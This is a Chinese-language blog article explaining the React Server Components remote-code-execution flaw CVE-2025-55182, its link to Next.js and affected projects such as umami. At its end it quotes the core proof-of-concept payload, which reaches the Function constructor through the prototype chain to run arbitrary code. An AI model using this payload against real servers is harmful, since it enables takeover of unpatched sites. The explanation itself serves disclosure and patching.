React 安全漏洞：一场连环翻车事故

2025 年，React 曝出了一个严重的安全漏洞（CVE-2025-55182）。攻击者可以通过构造恶意的 JSON 数据，在服务器上执行任意代码——想读你的配置文件？可以。想在你服务器上跑命令？也行。
然后，Cloudflare 挂了。
等等，React 的漏洞怎么把 Cloudflare 搞挂了？这就是今天要讲的故事。

先搞清楚几个概念

SSR 是什么

SSR 说白了就是：让服务器帮你把页面渲染好，再发给浏览器。

传统方式是浏览器下载一堆 JavaScript，然后自己慢慢渲染。问题是：

用户要等 JS 加载完才能看到内容
搜索引擎爬不到动态生成的内容，SEO 完蛋

SSR 解决了这两个问题，但也带来了新问题：你的前端代码现在跑在服务器上了。服务器能访问文件系统、能执行命令、能连数据库。一旦出漏洞，后果很严重。

Next.js 和 React 的关系

React 只是个 UI 库，Next.js 是 Vercel 基于 React 搞的全栈框架。

Next.js 把 React 的 SSR 能力包装得很好用，还搞了个叫 RSC 的东西，直接访问数据库。听起来很酷，但这也意味着攻击面变大了。

React 出漏洞，Next.js 跟着遭殃，用 Next.js 的网站全都有风险。

受影响的项目示例

比如使用量很大的统计开源软件 umami，如还在使用老版本，请尽快升级：

开源网站统计工具

Umami

GitHub

漏洞技术细节

新西兰安全研究员 Lachlan Davidson 发现，React Server Components 的 Flight Protocol 解析器根本不验证输入数据。

漏洞原理

这个协议会解析特定格式的数据，其中有一些特殊标记：

标记	含义
`$@`	代表 Promise 异步对象
`$F`	代表服务端函数引用
`$1`, `$2`...	内部引用标记

问题在于：解析器直接信任了所有输入，没有任何验证。攻击者可以通过构造特殊的 JSON，让解析器把恶意代码当成合法结构执行。

PoC 代码

Lachlan 公开了漏洞的 PoC：

漏洞 PoC 仓库

React2Shell CVE-2025-55182

GitHub

查看核心攻击载荷

javascript

// 来源：https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js

const payload = {
0: "$1",
1: {
status: "resolved_model",
reason: 0,
_response: "$4",
value: '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
then: "$2:then",
},
2: "$@3",
3: [],
4: {
_prefix: "console.log(7*7+1)//", // 这里可以换成任意代码
_formData: {
get: "$3:constructor:constructor", // 利用原型链获取 Function 构造器
},
_chunks: "$2:_response:_chunks",
},
};